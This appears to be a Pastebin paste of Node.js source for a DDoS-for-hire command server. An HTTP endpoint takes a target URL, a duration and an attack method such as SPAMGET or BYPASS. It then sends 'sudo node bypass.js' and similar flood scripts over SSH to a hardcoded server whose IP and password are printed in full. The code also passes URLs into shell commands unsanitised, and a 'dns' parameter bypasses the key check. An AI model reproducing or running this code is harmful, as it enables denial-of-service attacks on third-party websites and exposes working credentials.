Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.38 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17. {
  18. ip: "101.99.90.71",
  19. username: "admin",
  20. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  21. }
  22. ]
  23.  
  24.  
  25. var keys = [{
  26. key: "TkAd6wCjRTVdnBJVn7cTJEKJ6JEB5XmfZjf",
  27. concurrents: 8,
  28. maxtime: 1800,
  29. attacks: 0,
  30. admin: true
  31. }]
  32.  
  33.  
  34. process.on('uncaughtException', function(e) {
  35. // console.warn(e);
  36. });
  37.  
  38. process.on('unhandledRejection', function(e) {
  39. //console.warn(e);
  40. });
  41. var client = new net.Socket();
  42.  
  43. var httpServer = http.createServer().on('request', function(request, response) {
  44. if (request.url.startsWith("/reg")) {
  45. request.query = url.parse(request.url, true).query;
  46. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  47. if (!request.query.url) {
  48. return response.end('{"error": "No URL mentioned."}');
  49. }
  50. if (!request.query.time) {
  51. return response.end('{"error": "No time given"}');
  52. }
  53. if (!request.query.method) {
  54. return response.end('{"error": "No method given"}');
  55. }
  56. if (request.query.key || request.query.dns) {
  57. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  58. if (request.query.keydb || request.query.dns) {
  59. if (request.query.dns) {
  60. request.query.keydb = {
  61. concurrents: 1e3,
  62. maxtime: 1e6,
  63. attacks: -1e6
  64. };
  65. }
  66. if (request.query.method == 'STOPALL') {
  67. if (request.query.keydb.admin) {
  68. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  69. response.end("Attack has been sent on " + request.query.url);
  70. }
  71. }
  72. else if (request.query.method == 'METHOD1') {
  73. if (request.query.keydb.admin) {
  74. execute("sudo node rapidfire.js " + request.query.url + " " + request.query.time);
  75. response.end("Attack has been sent on " + request.query.url);
  76. }
  77. }
  78. else if (request.query.method == 'BYPASS') {
  79. if (request.query.keydb.admin) {
  80. console.log("sudo node bypass.js " + request.query.url + " " + request.query.time + " GET")
  81. execute("sudo node bypass.js " + request.query.url + " " + request.query.time + " GET");
  82. response.end("Attack has been sent on " + "post " + request.query.url);
  83. }
  84. }
  85. else if (request.query.method == 'STOP') {
  86. if (request.query.keydb.admin) {
  87. execute("sudo pkill " + request.query.url + " -f");
  88. response.end("Stopped attack on " + request.query.url);
  89. }
  90. }
  91. } else {
  92. response.end("Wrong key");
  93. }
  94. } else {
  95. response.end("No key was mentioned.");
  96. }
  97. } else {
  98. response.setHeader('content-type', 'text/html');
  99. return response.end('maintenance');
  100. }
  101. }).listen(12);
  102.  
  103. function execute(command, serversLimit) {
  104. servers.forEach(function(server) {
  105. var conn = new Client();
  106. conn.on('ready', function() {
  107. // console.log('Client :: ready');
  108. conn.exec(command, function(err, stream) {
  109. if (err) throw err;
  110. stream.on('close', function(code, signal) {
  111. // console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  112. conn.end();
  113. }).on('data', function(data) {
  114. // console.log('STDOUT: ' + data);
  115. }).stderr.on('data', function(data) {
  116. // console.log('STDERR: ' + data);
  117. });
  118. });
  119. }).connect({
  120. host: server.ip,
  121. port: 22,
  122. username: server.username,
  123. password: server.password
  124. });
  125. });
  126. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement